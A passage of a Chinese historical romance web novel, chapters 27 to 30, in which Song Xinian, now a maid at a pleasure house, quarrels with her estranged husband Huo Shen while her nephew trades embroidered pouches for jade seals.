霍慎放开宋昔年,与他相对而站,不发一言,只是死死地盯着她,仿佛在确认他对面的人是不是宋昔年。
宋昔年说:“你疯了吗?你不知道这是哪?你想做什么啊?”
霍慎说:“许久未见,你的第一句话就是说我疯了?”
宋昔年转身就走,不想多言,但又被霍慎一把拉住,这次宋昔年有了防备,反手推开了霍慎,霍慎没有防备跌倒在地,毕竟宋昔年会武,对付霍慎还是轻而易举。
阿无见霍慎摔倒,立即上前搀扶,宋昔年背过身不去看他们。
宋昔年说:“我已经出来很久了,我怕同行之人会来寻,就不陪四公子叙旧了。”
霍慎说:“你能和王靖宇叙旧,不能同我叙旧?”
宋昔年看向他,说道:“你在胡说什么?”
霍慎说:“阿无,你去前头知会乐章台花魁一声,说我与她的婢女有话要说,请她放心便是。”
宋昔年不可思议地看着霍慎,说道:“你真是病得不轻了,你知道这事若是传出去是什么后果吗?你还主动去告知,你是想闹得众人皆知吗?”
霍慎无所谓地说:“你怕什么,我说了只是叙话便不会做别的,我可不是王靖宇。”
宋昔年说:“这与他有什么相干?”
霍慎苦笑着说:“你刚和他做了什么都忘了吗?还是你觉得我是瞎的?”
宋昔年说:“我们做....你都瞧见了?”
霍慎说:“怎么不能被我瞧见?那你们也找个无人处啊!”
宋昔年说:“我们做了什么和你有什么关系,也没什么不能见人的,不需要躲躲藏藏。”
霍慎说:“这进了乐章台就是不一样了,和男人白日相拥,都觉得无足轻重了,真是好奇你在乐章台都学了些什么?”
宋昔年烦躁地说:“你不必说话夹枪带棒,你好奇又有何用?”
霍慎邪魅一笑说:“那我们拭目以待,宋卿云!”霍慎率先离开了独留宋昔年一人在原地。
27. 第 27 章
宋昔年回到舞台处,贺怜怜她们刚好结束下台,贺怜怜看她一眼便回到厢房休息了。吴府的婢女送来餐食,吃完饭大家都在休息,文莹的贴身婢女冬春悄悄来找,宋昔年和冬春来到门外说话。
冬春说:“宋小姐,我家小姐让我把这个交给你。”冬春递给宋昔年一个小包袱。|
宋昔年说:“冬春,代我谢过你家小姐,我如今身份不便显于人前,就有劳你带句话给她。”
冬春说:“我家小姐还要我问您一声,今后该去哪找你?毕竟乐章台那种地方我家小姐实在不方便去,想叫您另定个地方,以后若有事也方便些。”
宋昔年说:“我现在叫阿梦,早已不是当初的那个我了。你回去告诉她,我如今的处境实在不好与她来往过密,所以地方就不定了,免得给她带来麻烦。”
冬春说:“可是,我家小姐.....”
宋昔年说:“不只管回去和她这么说就是,她会懂我的。照顾好你家小姐,快回去吧。”宋昔年转身进屋关上了门。
回到房间,宋昔年坐在她的位子上,靠着墙就睡着了,贺怜怜躺在她对面的小榻上,慢慢地睁开了眼。
晚宴开席时,贺怜怜她们都上台了。临走时贺怜怜说:“晚上太冷了,你们就不必在外面等了,就在屋里把我们要换的衣服提前准备好,把东西归置一下,表演结束拿了赏钱我们就回去了。”
宋昔年说:“姐姐放心,我会提前准备好不会耽误的。”
姑娘们上台了,厢房里只有阿昙和她两人,阿昙贼兮兮地靠近宋昔年说:“姐姐今天去了许久,小侯爷都和你说了什么呀?”阿昙在宋昔年肩上,眼睛亮晶晶地看着她。
宋昔年在小丫头的额头上弹了下,说道:“不该你打听的,别瞎打听,没听过好奇害死猫嘛!”
阿昙摸了摸额头说:“说说嘛,也没别人,咱俩随便唠唠。”
宋昔年说:“也没什么,他就是问做的螃蟹酱有没有留一份给他。”
阿昙点头,继续靠着宋昔年,突然房门被敲响,阿昙和宋昔年对视一眼,阿昙去开了门,门一打开,长寿就拎着食盒进来了,阿昙正要关门时,冬春也朝这边走来,举了举手上的东西,表示是给她们的。
长寿把食盒打开,说道:“小侯爷怕小姐饿了,特地让我送些吃食来给您。”
冬春看了一眼,挤开长寿说:“哼,还是我家小姐细心,准备的都是阿梦你最爱吃的菜。”说完得意地看了看长寿。
长寿也不甘示弱地说:“吃食算什么,我们小侯爷还准备了小姐最需要的呢!”说完打开了食盒的底层暗格,亮出了里面的银票。
在场的所有人都面面相觑,长寿开口说道:“我家小侯爷说了,现在小姐最要紧的就是要多攒钱,说到底还是钱最重要,所以就叫我给您带了些来。他还说叫小姐敞开了用,用完了说话就是。”
冬春气呼呼地说:“有钱很了不起吗?显摆给谁看?冬春向宋昔年行了礼就走了。”
长寿说:“小侯爷让我转告小姐,您托的事,这两天就会有结果,请小姐静候佳音!”说完长寿也告辞了。
宋昔年重新关上房门,阿昙已经坐在桌前,一脸期待地看着她。
宋昔年笑了笑说:“快吃吧,别客气!”阿昙立马拿起筷子大快朵颐。
她们吃到一半,贺怜怜们回来换衣服,准备下个节目,进来看见桌上的吃食,都很好奇哪来的。
秦珍珍说:“我们在外面寒风凛凛,你们在屋里居然独食独享,好不快活啊,是不是?”
宋昔年不知道如何解释,贺怜怜说:“这是我提前叫她们准备好的,是怕姐妹们扛不住,都赶紧吃两口吧。”贺怜怜看了宋昔年一眼,宋昔年朝她笑了笑。
宋昔年帮贺怜怜换衣服时,拿了一只小巧的水晶虾饺喂给她,贺怜怜歪头拒绝。
宋昔年说:“好姐姐,吃一口,虾饺凉了就不好吃了。”
贺怜怜剜了她一眼,说道:“你呀,总不让我省心!宋昔年向她讨饶。”
吴府宴会结束,给你赏钱,贺怜怜就带着所有人从后门出去了,上了提前雇好的马车。在车上贺怜怜拿出了赏钱,一人分了十两银子,贺怜怜把属于自己的那一份,分作两份给了宋昔年和阿昙一人五两。
宋昔年说:“我不要,这是姐姐的,我怎好拿了。”宋昔年不好意思要。
贺怜怜说:“给你你就拿着,总不能让你白忙一天,你不收阿昙还怎么拿,你自愿白忙还想带着她也一起吗?再说我也不缺这点子钱,你若不要就全给阿昙吧。”阿昙居然配合地把手伸了过来,她看着宋昔年挑了挑眉。
宋昔年也不傻,说:“好吧,既然如此我就不和姐姐客气了,姐姐的确也不缺这点钱!”宋昔年把银子收进钱袋。
回到乐章台。贺怜怜说:“阿昙你去打水,我要洗漱。”
宋昔年说:“我帮姐姐取些炭火来,如今马上十一月了,夜里有些冷了,点上炭炉暖和一点。”
贺怜怜说:“不忙,我有话想问你!”
阿昙贴心地关上了房门,贺怜怜说:“你今日白天干什么去了?为何回来时额头上都出汗了?晚上那些吃食是怎么回事?”
宋昔年说:“上午王靖宇找我说了会儿话,姐姐还记得白天吗?我把这事和王靖宇说了,他说他会处理。吃食是他送的。”宋昔年没把和霍慎见过的事告诉贺怜怜。
贺怜怜说:“那你午休时出去拿回的包袱也是他送的?”
宋昔年突然想起,自己还没看过这个包袱里装的是什么呢。打开包袱查看,里面是几块上好的云缎和一个小匣子。
宋昔年说:“这个包袱是我的闺中密友送来的,她父亲官职也不低,所以吴大人也送了请帖去请她家,她就一起来了。我们和王靖宇在说话时,正巧被她看见,后来她就叫人送了这个包袱来给我,吃食也有她送的一份在里头的。”
贺怜怜说:“你这是在和我炫耀吗?贺怜怜有些嫉妒。”
宋昔年说:“怎会,这里头姐姐选选看,有喜欢的就拿去戴。”宋昔年把东西往贺怜怜跟前摆。
贺怜怜说:“我才不要,这可是你的闺中密友送你的,你怎好转手送我?”
宋昔年说:“文莹是
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我的闺中密友,姐姐不也有闺中密友吗?”
贺怜怜说:“谁啊,我怎不知?”
贺怜怜双手托腮眨着眼睛看着贺怜怜说:“远在天边,近在眼前,当然就是我啦?不知姐姐会不会嫌弃呢!”
贺怜怜果然一脸嫌弃地说:“那你准备送我什么啊?”
宋昔年说:“我自然是借花献佛,和姐姐有福同享啦。”宋昔年拿起一支珍珠步摇亲自给贺怜怜戴上。
贺怜怜摸了摸,问宋昔年:“好看吗?”
宋昔年说:“珍珠的最衬姐姐清丽的气质了,好看极了!”
贺怜怜说:“既然你送我东西,我自然也是要回礼的,这只银镯子,是我用我第一笔攒的钱为自己添置的第一件首饰。可能比不上你的步摇贵重,但我觉得对我很有意义,而且你戴在手上也不打眼,正合适呢。”
宋昔年发现镯子上还刻了有梵文寓意平安顺遂。宋昔年说:“我很喜欢呢,跟姐姐的礼物比,我这个就显得不用心了,我还是再给姐姐重新买一个吧,我也攒了些钱的。”
贺怜怜说:“这个就很好,况且我还没有珍珠的首饰,这是第一个,我很喜欢的,卿云谢谢你!”
霍家三人刚坐上马车,霍岩说:“我真没想到勤之你今日会愿意和我们一起到吴家来,你是霍家这一代中第一个踏上仕途的,的确应该多与同僚多接触。”
霍慎只是点头并未出声。
霍恒看了看霍慎,说道:“勤之,你的衣服这是怎么了?”
霍慎低头看去,才发现自己衣服侧边有一块小小的污渍并不起眼,所以没有及时发现。想了想应该是宋昔年把他推倒时,不小心沾上的。
霍慎皱眉说:“之前在吴家池塘边坐了一会,应该是那时候沾上的。”霍慎用袖子挡了挡。
霍慎回到院子里,发现宋诺坐在书房台阶处发呆。推门进入书房,发现屋里点了炭盆十分暖和。宋诺也跟着他进来了。
霍慎说:“阿无,你去打点热水来,我要洗脸喝茶。”
阿无出去后,霍慎问宋诺:“你既然在书房点了炭盆,为何还坐在台阶处,不进来等我们回来?”
宋诺说:“哪有主人不在屋里,小厮自己在屋里缓和的道理!”
霍慎说:“明日你和阿无早去早回,这钱你拿着,请你娘她们喝杯茶,毕竟她们为你做了衣服的。”霍慎递了五两银子给宋诺。
宋诺接过银子,抬头看着他说:“你今日可有见到我姑姑?”
霍慎说:“大人的事,小孩子少管!”
宋诺死死盯着霍慎,笃定地说道:“你们吵架了吧!总是阴阳怪气不会有人喜欢的。”
阿无进来时,正好碰上出去的宋诺,他把银子在阿无面前晃了晃,笑眯眯地出去了。
阿无给霍慎倒了茶,霍慎端起绿瓷杯放鼻尖闻了闻,轻轻喝了一口。
阿无低头笑了笑,说道:“公子终究还是心软!”
霍慎看了他一眼,淡淡地说:“滚!”
阿无走后,霍慎看了看手中的绿瓷杯,把它放在桌上,赌气地用桃花宣把它盖住了。
28. 第 28 章
宋昔年母子三人早早起床忙碌,因为今日是约好了给宋诺送棉衣的时间,也算是他们一家人的团圆日。
宋昔年她们收拾完就到约好的茶水铺子等着了,阿无带着宋诺送了霍慎出门才往这边赶来。
霍慎上马车之前,看了阿无一眼,阿无心领神会地点点头,霍慎又看了宋诺一眼,宋诺倔强地没有和他对视,大约还是有些生他的气。
霍慎说:“真是一家子犟种!”
宋诺听了这话,小声回击道:“有什么了不起的,真是讨厌,活该姑姑不要你!”这句话易伤马车走远的霍慎并未听见,但阿无却一字不落地听入耳中。
阿无吓得急忙捂住他的嘴,说道:“小祖宗,这话可不能让公子听见。我们快些走吧,别让你娘她们等急了。”
茶水铺里,时间还早只她们这一桌,五人相见好一阵沉默。
宋昔年说:“我们小阿诺有没有想姑姑啊?”宋昔年出生打破沉默。
宋诺被问得一阵脸红,在宋母的怀里只是轻轻点头。
宋母说:“阿无小哥你要的夹袄,我们按照你的尺寸已经做好了,还另给你加了一件带毛领的披风,算是我们的心意。”
阿无说:“婶子您也就叫我阿无吧,婶子对我这么用心,就别和我见外了。”阿无笑得开心。
宋昔年说:“我们自然不会和你见外,你瞧还带了坛子蟹酱给你呢!”宋昔年拍了拍手边的坛子。
阿无说:“这时节螃蟹这么贵,你们怎么还舍得做了酱?”
宋昔年说:“王小侯爷送来的。说是忠静侯府吃不完,叫我帮着分担点,我就拿来便宜你啦!”
阿无不好意思地挠头,说道:“这怎么好意思呢!”
洪媛说:“你就当这是你帮我们把阿诺照顾得这么好的报酬,安心收下吧。”
宋母说:“我还会一些别的拿手腌菜,你有什么爱吃的和我说,我做了给你们送来也行。”
阿无说:“好,那我就不和婶子客气了,我们这些做下人的,其实最爱吃些简单的腌菜。”
洪媛说:“我给你做了两双鞋,你先穿上试试。你这么久不在我身边,我都不知你的脚长大了没有,若是不合适,我再重新做。”洪媛从包袱里拿出一双鞋,亲自蹲下给宋诺穿上。
宋昔说:“有些大,但不碍事,冬天里头垫上鞋垫反而会更暖和。”
洪媛帮他脱下鞋子,说道:“鞋垫我也给你做了几副,我这就给你垫上。”洪媛拿出那纯皮毛用软锦锁边的鞋垫放入鞋里。
重新为宋诺穿上问他:“现在如何?走两步看看。”
宋诺说:“很软和,大小也合适了。”
洪媛安心地点点头,说道:“你要的钱袋子,我也用剩的布料给你做了几个。有一个绣了福字的,你过年拿出来用,讨个好彩头!”
宋昔年说:“说到钱袋子,我也给你做了两个,阿诺你来看看,是我做得好,还是你娘做得好。”宋昔年拿出钱袋子,一个上面绣了绿竹,一个上面绣了桃花,针脚都十分细密牢固。
宋诺从祖母回来出来,坐到了姑姑身边,拿出母亲做的钱袋,仔细做着对比。
宋诺认真地说:“我娘做的我平时就能用,姑姑你用的布料都太好了,而且这花样不太适合我,我可是男孩子,但是这针脚比我娘做得要好很多,应该很结实耐用。”
宋昔年说:“我能拿得出手的花样就这两样,还有这布料怎么了,这都是碎布头做的,有什么好不好的,你还真是谨慎又挑剔,但你也还算识货,知道我的结实耐用,也不枉费我在教坊司的一番晴雪苦练了。”宋昔年欣慰地拍了拍宋诺的背。
宋诺看着宋昔年,突然想到了什么,他让宋昔年附耳靠近自己。
宋诺小声地在她耳边说:“他想独吞那笔钱!”
宋昔年疑惑地侧头看他,说道:“什么独吞?”
宋诺说:“你留的钱,他想独吞!”
宋昔年笑着说:“怎么可能!”
宋诺满眼震惊地看着她说:“你不信我?”
宋昔年看着宋诺思考了一会儿,说道:“嗯~。也不是完全没可能对吧。哎呀,早知道我就立个字据的。不过算了,如果没了,就当这钱是给你买平安了吧!”
宋诺不甘心地说:“他还真是无耻!”
聊了一会,宋昔年说:“时间也不早了,这里人来人往的终究是不方便,我也该回去忙了。”大家各自分别之后,阿无带着宋诺回府,他们都试了试新衣服,十分满意和开心。宋诺脱了鞋子上床,拿出了小黑匣子,把昨晚霍慎给的五两银子放入匣子,阿无今天因为得了新衣服所以今天大方地没和宋诺要求分银子。
宋诺今天用自己身上最后的铜钱付完茶水钱,他身上就再没铜钱了。整的银子他并不想拿出来花,不过还有三天就发月银了。
阿无又悄悄靠近,说道:“我瞧着你这匣子里又有不少银子了。不如过完年我带你去钱庄把钱存了,你拿着兑票也方便安全些,不是你本人亲自去取兑是出不来的。”
宋诺眼睛亮了。说道:“真的吗?那我想要准备什么?”
阿无说:“你要准备两枚一样的印章,再把钱存进去就行。”
宋诺说:“那印章要在哪儿买?多少钱一对?”
阿无说:“这我就不清楚了,我当时的印章是公子给我的,没花钱的。刻章是算是公子的爱好,你可以问他讨一对来用。”
宋诺说:“我才不要,我可以自己买,才不要去求他!”
阿无说:“你确定?好一点的章可不便宜,你一年的月钱都不一定能买得来的。”
宋诺说:“我又不需要买多好的,能用就行了,能有多贵?”
阿无说:“这你就不懂了吧,印章有一枚是要留给钱庄做对照的,你取钱的时候再拿出另一枚,如果两枚章不一样就没办法取兑银子,所以需要印章质量好,时间久了才不会有磨损,一般都会选择用玉的,玉制的刻章可不便宜。”
宋诺半信半疑地说:“真的这么重要吗?那我只有花钱买了!”
阿无说:“你懂玉吗?如果不懂玉,买到假的人财两空怎么办?我觉得,你还是去找公子讨一对,既能保真又不用自己花银子多好啊。你难道真想和他一辈子置气吗?我们始终胳膊拧不过大腿的。”
宋诺低头沉思,许久后抬头说:“你说得很对,他是公子我是小厮,
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他为主,我为仆,没有仆挑主错的道理。”
阿无高兴地一拍手说:“你能这么想就对了,最重要的是公子有钱,而我们没有!”
宋诺点头,阿无笑嘻嘻地说:“阿诺啊,哥平时对你怎么样?”
宋诺天真地说:“阿无哥对我自然是好的呀。”
阿无靠近他说:“既然我对你这么好,那我想要你娘给你做的钱袋子,你能给我一个吗?”
宋诺果断拒绝,说道:“上次我已经给你买了新的钱袋了,这是我娘给我做的,我不想给你。”
阿无说:“算了,我也就是问问,不给就不给吧。”阿无有些失望。
宋诺不忍心,说道:“那我帮你选一个吧,你没得选,你同意吗?”宋诺把所有的荷包摊在床上,开始挑选。
宋诺说:“我把姑姑给我做的桃花地送你吧,这个面料也是最好的,就当是感谢你对我的好,我也把最好的留给你!”
阿无说:“行吧,我不挑的,而且这个看起来的确很结实耐用。就是这图案有点....但总好过没有。”
晚间,霍慎在书房问阿无今天的情况。阿无说:“我们拿完衣服就回府了没有去别处。”他把外杉解开,给霍慎看了宋母给他做的夹袄。
阿无说:“公子你看这是宋婶给我做的夹袄,质量比卖的还好,我现在冬天一点也不怕冷了!”
霍慎上下扫了阿无一眼,突然看见他腰间的钱袋子,霍慎难得打趣他,说道:“没想到你也动春心的时候!”
阿无说:“公子您少打趣我,就我这样吃了上顿没下顿的,哪有工夫顾及儿女情长啊!”
霍慎看了他一眼,抬了抬下巴,说道:“定情的桃花钱袋你都系在腰间了,还解释什么。‘知好色,则慕少艾’是人之常情,你也不比我小几岁的。”
阿无看了看,自己腰间的钱袋。瞬间脸色大变,跪在了霍慎面前。
阿无支支吾吾地说:“这钱袋是我从阿诺那要来的,是宋小姐给阿诺做的。我真不知上面的挑花还有这个意思,不然我绝对不会收的,兴许是阿诺不喜欢桃花,才挑了这个给我。”阿无把钱袋子跪送到霍慎面前。
霍慎说:“给我做什么吗?人家送给你的。”霍慎用手指有节奏地敲着桌案。
阿无识相地说:“我这也算无心插柳了,现在把它转送给公子,也算两全其美了。”
霍慎笑道:“你给了我,你就没有了,还如何两全?”
阿无说:“公子随便拿个钱袋跟我换,我也是看这钱袋针脚细密,感觉很结实耐用,一时忘了这是宋小姐亲手做的。”
霍慎说:“起来吧,为这点小事不至于下跪。”
阿无起身说:“那小子,那里还有一只竹子的,不如公子一并把它也换过来!”
霍慎问:“你怎么知道他愿意换?”
阿无说:“我之前和他说过,可以带他去钱庄开一张兑票,现在他还缺一对印章。然后我说,我的印章都是公子给的没有花钱,不如公子趁此机会把那个也换来?”
霍慎摸着那钱袋,说道:“你倒是有主意!”
阿无刚想认错,霍慎说:“既然如此,你就把他叫来吧!”
29. 第 29 章
霍慎看着低头站在自己面前的小孩,才发现他与她居然有几分相似,这副天真无辜的面容,时常会让人不自觉地心软。那一双大眼睛总是闪闪发光。让他又爱又恨!
霍慎说:“我听阿无说,你有事找我?”
宋诺双手攥紧抬起头看着宋诺,说道:“我需要一对印章,阿无哥说,你这里有很多,所以我想问你讨一对。”
霍慎说:“我确实有很多,我凭什么白给你?这些如果放在外面卖,可值不少钱!”霍慎打开手边的木箱子,露出里面各色材质花样不同的印章。
宋诺说:“你这些都是不需要花钱的,所以我才来问你讨一对的。”
霍慎笑着说:“你前不久才想问我讨银子,还说我想独吞来着。现在怎么会觉得我会把印章白送给你呢?”霍慎把桃花钱袋放在手里把玩。
宋诺看见了,说道:“这个钱袋怎么会在你这里?”宋诺看向阿无。
阿无走到宋诺面前与他耳语,说道:“我想了想,你姑姑做的钱袋布料实在太好,我用不合适就给了公子,你干脆把另一只也给公子得了,换些实在的岂不更好!”
宋诺说:“你想要我姑姑做的钱袋?”
霍慎说:“难道你有别的值钱地和我换?”
宋诺说:“给你也不是不行,但我要自己挑印章。”
霍慎没想到他这次如此爽快地就答应,开口说道:“可以!”
宋诺上前,在箱子里找了许久,最终选择了一对黄玉印章,其底部刻有‘生财有道’字样的印章。
霍慎看了他一眼,说道:“眼光不错,这枚算是我最满意的作品之一,我可以帮你在底部加上你的名字,你可需要?”
宋诺说:“自然是要的。”
霍慎说:“那你过几日再来拿吧。”
宋诺转身想走,但又停在原地,退得远了些,向霍慎鞠躬行礼,说道:“之前是我不对,我向公子赔不是!那银子你想留就留吧,我之后不会再向你讨要了。”
霍慎嘴角带笑地问宋诺:“你怎么突然想通了?”
宋诺说:“公子不是教我‘君子爱财,取之有道’我想了想,这句话是很有道理的。自己挣的钱才是自己的,谁也抢不走。我姑姑今天也说了,若是真的要不回来就算了,就当是你们霍家保我活命的报酬,总不能白让你们霍家忙活的道理。我爹从前说过,人活着不是追名就是逐利,一切都是等价交换罢了!”
霍慎想不到,一个不到五岁的孩子能说出这番话,他看着宋诺离去的背影,居然觉得和他梦里的那个背影重合了。他把两个钱袋抓在手中,怎么也不敢再去看一眼。
霍慎说:“你说他是在讽刺我吗?她真的说过不再要这笔钱?”
阿无说:“什么钱?”
霍慎说:“过几天就是祖母寿辰,你陪我去挑礼物吧。”
阿无看向霍慎,说道:“公子是想现在去吗?现在已经是酉时末,天色已晚了。只怕许多店铺早就关门了。”
霍慎没有看阿无一眼,自己转身出了书房,阿无只能快走几步,率先去准备马车。
乘车来到主街附近,霍慎看着繁华的街道灯火通明,他叫停了马车,下车步行。
霍慎说:“你把马车找个地方停好,我想下车走走。”
阿无犯了难,说道:“公子现在是深夜,看车的人早就回家了,您这不是在为难小的吗?”
霍慎说:“那你就在这里看着马车,不必跟着我了。”
霍慎正要走,却听见身后有人叫自己,转头一看是与自己同期的状元梁公子。
梁公子说:“难得遇上霍兄你外出,霍兄这是要去哪里呀?”
霍慎说:“随便转转罢了,并无固定去处。”
梁公子说:“那不如同我们几人一起同行,去看看乐章台花魁的表演。”
霍慎还未开口,同行的其中一位就说:“这恐怕不妥吧,霍兄家世清正,怕是不方便去那种地方。”
梁公子说:“我们只是去欣赏歌舞,又不做什么不雅之事,再说了书上不也说‘书中自有颜如玉,书中自有黄金屋嘛’如今我们也算心愿得偿,可别再被一些虚名耽误了,我们不过是凡夫俗子,何必要像圣人般活着,若是这么说为何不削发为僧,远离红尘俗世?”
霍慎说:“梁兄不愧是状元榜首,见地果然不凡!”霍慎恭维着他。
梁公子说:“既如此,霍兄的马车便停在乐章台吧,刚好载我们一段路。”
霍慎邀请他们上车,这也是几人第一次坐马车去乐章台。他们几人都是出身于寒门,平时去乐章台都是步行而至。霍家马车外表虽普通,但内里却讲究别致。马车里面十分宽敞,因为冬天的缘故,三面座位上都铺了厚垫子,车厢中间放了小茶几,其上放了一个小炭炉,上面烧着热水方便随时泡茶。茶几前面放了一个小巧的炭盆供车上的人取暖。
梁公子环视了一下马车内的布置,开口说:“霍兄我们既是同期,又是同僚,你应该和我们多接触,这样我们日后也好相互扶持。”
其他人附和说:“是啊,人与人之间就是常来常往才对。”
霍慎说:“我自小就不擅长交际,所以....”
梁公子说:“此言差矣,谁天生就会这些的,熟络了自然就会了,以后你多和我们接触自然熟能生巧。”
到了乐章台,他们一行四人准备包了雅座看贺怜怜上台表演,却被告知大堂雅座已满,只有楼上雅间还有位子。小二询问是否要选用上次他们待过的那一间?
几人尴尬之时,霍慎开口说:“那就选这一间吧。”
梁公子说:“霍兄大气,等发了月俸,我们一定回请霍兄。”
霍慎笑而不语,他们之前选雅间,是第一次发俸禄为了庆祝自己出人头地,几个人才合资选了包间,因着自己是新科状元的身份才请贺怜怜见上一面,之后每次都合资花一两银子坐大堂雅座,也只是看完贺怜怜表演就走,再消费不起别的。
进入雅间几人迅速落座,很快有人送来茶水点心。
那女婢问:“几位公子可要再点些别的?”
霍慎说:“我第一次来这里,不太懂,几位做主吧。”
梁公子说:“今日高兴那我们就再来几壶酒吧,上次喝的状元红,这次我们换一种喝喝
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看吧。”
那婢女机灵地说:“我们这里的琼华汁和梨花白都是客人们爱点的,几位可要试一试?”
霍慎说:“那一样来两小盅吧,我们自己分着喝。”
婢女说:“可要配下酒菜?几位可要寻姑娘作陪?”
霍慎说:“你看着配点下酒菜就行,我们只是来看花魁表演的,其他人就不必了。”
那婢女告退前打开侧边的窗子,舞台一览无余,几人惊讶不已。梁公子第一次来时,舞台表演结束,他们才临时起意要上楼感受一番,所以根本不知还可以这样观看表演,但几人也不好露了怯,让霍慎笑话。
霍慎说:“这个设计还真是精妙,难怪梁兄喜欢到这里来。”
他们几人一直看着窗外的舞台,只见贺怜怜款款走上舞台,引得乐章台内欢呼一片。一曲舞毕,大家都意犹未尽,有胆大的男人上前挽留下了台的贺怜怜。
宋昔年迅速挡在贺怜怜身前,说道:“公子若是想再见花魁,可以参加今晚的出价,或是明日再来观舞,但不可坏了乐章台的规矩的。”
那男子说:“好不识趣的婢女,下贱胚子快闪开,别挡了爷的路。”
那男人还想往贺怜怜身边凑,他也无意间和宋昔年有肢体接触,正当那男子想要继续吃宋昔年豆腐时,宋昔年已转身从后面扣住男子的手。
宋昔年说:“这位公子怕是想直接做了花魁今晚的‘入幕之宾’诸位公子你们同意吗?”
这时就有人大喊,说道:“哪里来的无耻之徒,想坏了规矩,快滚下来。”
贺怜怜放开那男子,恭敬地请他离开,那男人在重压之下只能离去。
宋昔年搀扶贺怜怜离开,这一幕全部落在了霍慎眼里,尤其是刚才那男人碰到宋昔年的时候,霍慎紧张到窒息,可宋昔年那淡漠的表情,让霍慎心里五味杂陈。
霍慎心想:“她究竟经历了多少次这种事,如今才会表现得这么习以为常的冷静。”
杜妈妈照例要到二楼所有定下雅间的客人面前,陪杯酒致次谢。来到霍慎他们雅间时,霍慎吃惊,站在她眼前的杜妈妈和他想象中的完全不同,杜妈妈一身乌红的锦缎,头上没有复杂的配饰,只簪了一只月白的玉簪子。在霍慎看来杜妈妈气质非凡举止得体,没有半点浮靡之气,完全不像一位经年鸨妈,即使她能熟练地应付所有人,一看就知是交际的老手,也掩盖不住她曾经受世家培养留下的痕迹。
梁公子说:“请问杜妈妈,能否请贺姑娘出来与我们相见小酌一杯?”
杜妈妈面带微笑地说:“真是抱歉,今日忠静侯府小侯爷来得早,怜怜正在那边作陪呢,怕是不方便出来了。”
杜妈妈陪着喝了杯酒准备告辞,霍慎开口说:“我与小侯爷是旧相识了,杜妈妈可否帮我带个路,我去与他见上一面。”
杜妈妈看着霍慎,说道:“不知公子名讳,我不好私自做主的,敢问公子是哪家的?”
霍慎向杜妈妈行了礼,杜妈妈微微侧身,霍慎说道:“我名叫霍慎,有劳杜妈妈带路。”
杜妈妈脸上的笑僵住一瞬,随后说道:“霍公子,请随我来吧!”
30. 第 30 章 自古是
宋昔年陪着贺怜怜回房间换完衣服,重新回到王靖宇的雅间,王靖宇看到宋昔年进来,就拉着她仔细查看。
王靖宇说:“你要是再慢一步出手,我就准备冲出去了,那该死的,居然对你动手动脚。”王靖宇边说边用手凭空比画。
宋昔年说:“我难道还会让我自己吃亏不成?你最好别随便替我出头,若是惹了乱子,那我可真是百口莫辩了。”
王靖宇不服气,说道:“难道我就一点用处都没有吗?”
宋昔年说:“怎么会,我还指着你帮我解决白家的事呢!”宋昔年拉他坐下,给他倒了杯茶。
王靖宇开心地拿起茶杯,说道:“我今日来就是要告诉你这件事的,我已经叫长寿去白家捎了话,约他明日在梦仙楼见面。到时候,你得去一趟,我本来想直接约在这里的,但是又顾忌逢恩出入这里不太好,所以只能麻烦你跑一趟了。”
宋昔年说:“这里人多不好防范,毕竟隔墙有耳,你不约在这里是对的。”宋昔年看向贺怜怜。
只一个眼神,贺怜怜说:“知道了,你去就是了,我会帮你遮掩的。”
王靖宇说:“哈哈哈,那一切都妥帖了,只需静静等待了。”
话音刚落,房门又被敲响,王靖宇和宋昔年对视一眼,说道:“江逢恩没在这啊,这次会是谁?”
宋昔年摇头,刚摘得面纱又要戴上,王靖宇看宋昔年整理好了之后,就开口问:“长寿,这次又是谁?”
长寿依旧支支吾吾,霍慎直接推开了门。入眼的就是三人围着长桌而坐,靠得很近。衣角都重叠在一起了。
王靖宇一看是霍慎,他就忍不住讥讽他道:“这次不是霍大公子,改成霍四公子了是吗?不过你们霍家就这么喜欢穿房入户吗?这就是霍家的礼仪教养?”
霍慎始终不理会王靖宇,他一直死盯着宋昔年,眼神里三分忧伤,四分探究,最后三分归于释然,霍慎慢慢走进屋,阿无和长寿默契的一起带上了房门。
王靖宇拉着宋昔年坐下,对着霍慎问道:“你来是有什么事吗?能把清高自傲的霍家四公子驱使来乐章台的事一定不小吧!”
霍慎说:“你能来,我来不得?不过我的确是有事要找她。”霍慎口中的她,大家都心知肚明知道是谁!
宋昔年慢悠悠摘下面纱,说道:“你找我能有什么事?我们之间当初说好两清的。”
霍慎说:“你说两清就两清?你当初一走了之,你可知外面的人都是怎么回我的?满京城传遍了,说我为了荣华富贵,抛弃新婚妻子,说我是个负心汉。”
宋昔年说:“这些和我有何相干?你觉得是我散播的吗?”
霍慎说:“就算不是你,你觉得与你不相干吗?”
王靖宇说:“行了,你有什么冲我来,这些事都是我干的,谣言也是我传的。”王靖宇用身体挡住霍慎看向宋昔年的视线。
霍慎笑了,说道:“哈哈哈哈,你倒是敢认,那你在传谣言之前,有没有仔细思考过,你给我安上一个‘负心汉’头衔的同时也就是承认了宋昔年被我抛弃的事实。我是男人,多一个这个头衔不过是多了个笑料在人前,时间长了自然也就无伤大雅了,但对于她来说,有可能就要背负‘弃妇’头衔一辈子。你这不是在帮她,而是在害她!”
王靖宇不屑地说:“你少诓我,不要为你做的事再做任何辩解了。”
霍慎说:“自古都是‘浪子好回头,再难遇良人’你不会不知道吧!”
王靖宇瞬间醒悟,自己抽了自己一个耳光。他拉着宋昔年说:“卿云啊,是我糊涂了,我对不起你啊,现在该怎么办呀?”王靖宇急得团团转,大冷的天太居然冒汗了。
宋昔年安慰他说:“你放宽心。我从前也不是没有奇怪的名头。‘不贤惠,不知羞’多了去了,如今还不是好好活着,又没有怎么样啊!”
霍慎说:“你倒是会安慰人,是在这乐章台待久了,可以不在乎名声了吗?”
宋昔年说:“我在乐章台怎么了,我不在这能在哪?说起来我的这些坏名声都和你有关呢!从我穿着嫁衣踏出你霍家大门那刻起,就已经名声尽毁了。”
霍慎震惊地瞳孔放大,说道:“原来你一直是这样想的!”
宋昔年说:“现在这些已经不重要了,我也不想再提。”
霍慎说:“对你不重要,对你家人不重要吗?你爹远在北境,如果知道你带着你娘她们,自愿进入乐章台,怕是要被你气得夜不能眠了,你做事还是这么不计后果。如今没你爹护着了。你还敢行事不三思?”
宋昔年:“你怎么我没有考虑过,你还不是和从前一样喜欢自以为是!”宋昔年被霍慎说得开始怀疑自己的做法,但她就是不想认输,倔强回击着。
贺怜怜说:“霍公子,怎么把我们乐章台说得这么不堪啊,再不堪,你今日也坐在这里了呀!”
